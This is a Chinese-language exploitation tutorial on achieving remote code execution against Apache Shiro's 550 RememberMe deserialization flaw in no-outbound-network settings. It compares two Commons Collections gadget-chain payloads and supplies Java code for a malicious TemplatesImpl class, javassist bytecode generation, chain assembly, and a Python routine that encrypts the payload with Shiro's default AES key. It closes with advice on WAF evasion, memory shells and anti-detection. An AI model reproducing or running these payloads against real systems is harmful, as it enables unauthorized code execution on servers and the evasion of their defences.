CC3与CC6链融合利用:Shiro 550漏洞不出网攻击的2种Payload构造对比
CC3与CC6链融合利用:Shiro 550漏洞不出网攻击的2种Payload构造对比
1. 漏洞背景与攻击场景分析
Apache Shiro作为广泛使用的Java安全框架,其550漏洞源于RememberMe功能的反序列化缺陷。攻击者可在不出网环境下,通过精心构造的反序列化Payload实现远程代码执行。本文将深入剖析两种主流利用链——CC3与CC6的融合利用方案。
关键限制条件:
- 目标环境仅包含Commons Collections 3.2.1
- 无法依赖JRMP二次反序列化
- Tomcat环境下原生类加载机制的限制
提示:Shiro的AES加密密钥默认为kPH+bIxk5D2deZiIxcaaaA==,加密模式为CBC,使用随机IV
2. 核心利用链技术原理
2.1 CC6链核心组件
// 关键调用链 HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() → Transformer.transform()优势特性:
- 不受JDK版本限制
- 通过HashMap触发,无需特殊依赖
- 利用TiedMapEntry桥接LazyMap的get方法
2.2 CC3链核心组件
// 关键调用链 TemplatesImpl.newTransformer() → TrAXFilter构造函数 → InstantiateTransformer.transform()特殊价值:
- 直接操作字节码加载
- 规避Transformer数组限制
- 与CC6形成互补利用
3. 两种Payload构造方案对比
3.1 方案一:CC6+InvokerTransformer
构造步骤:
- 准备TemplatesImpl恶意类:
public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec("calc"); } // 必须实现的抽象方法... }- 构建调用链:
Transformer invoker = new InvokerTransformer("newTransformer", null, null); Map lazyMap = LazyMap.decorate(new HashMap(), invoker); TiedMapEntry entry = new TiedMapEntry(lazyMap, templatesImpl); HashMap expMap = new HashMap(); expMap.put(entry, "value");技术要点:
- 通过反射动态修改iMethodName字段
- 需清除LazyMap初始键值避免提前触发
- 最终通过HashMap#put触发调用链
3.2 方案二:CC6+InstantiateTransformer
构造步骤:
- 准备TemplatesImpl字节码:
ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil"); cc.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");"); byte[] bytecodes = cc.toBytecode();- 构建调用链:
Transformer instantiate = new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 后续构造与方案一类似...技术要点:
- 利用TrAXFilter自动触发newTransformer
- 需要更精确的类加载控制
- 规避了直接方法调用检测
3.3 方案对比矩阵
| 对比维度 | CC6+InvokerTransformer | CC6+InstantiateTransformer |
|---|---|---|
| 构造复杂度 | 中等(需反射修改字段) | 较高(需处理字节码) |
| 依赖条件 | 需要javassist生成字节码 | 需要完整的类定义 |
| 通用性 | 跨环境稳定性较好 | 对类加载器更敏感 |
| 规避检测能力 | 一般(明显方法调用) | 优秀(通过构造函数触发) |
| 内存占用 | 较小 | 较大(需加载完整类) |
4. 实战决策树与排错指南
4.1 方案选择决策树
是否允许直接方法调用? ├── 是 → 选择CC6+InvokerTransformer方案 └── 否 → 选择CC6+InstantiateTransformer方案 ├── 目标有javassist依赖? → 直接使用 └── 无javassist依赖 → 预生成字节码嵌入4.2 常见错误排查清单
类加载失败问题:
- 检查_bytecodes字段是否正确设置
- 确认_tfactory已初始化为TransformerFactoryImpl
- 验证_name字段不为空
序列化异常处理:
- 使用以下方法确保字段可访问:
void setFieldValue(Object obj, String field, Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); }加密Payload生成:
def encrypt_payload(ser_bytes): key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) pad = lambda s: s + (16 - len(s)%16) * chr(16 - len(s)%16) return base64.b64encode(iv + cipher.encrypt(pad(ser_bytes)))5. 高级技巧与防御规避
混合链构造技巧:
- 组合使用InvokerTransformer和InstantiateTransformer
- 动态切换触发点应对WAF检测
- 使用内存马替代命令执行
反检测策略:
- 分散恶意代码到多个类加载阶段
- 采用反射+动态代理隐藏调用链
- 使用BCEL等替代字节码加载方案
在实际渗透测试中,建议根据目标环境特征选择最适合的方案。CC6+InvokerTransformer更适合快速验证,而CC6+InstantiateTransformer则在对抗安全防护时更具优势。
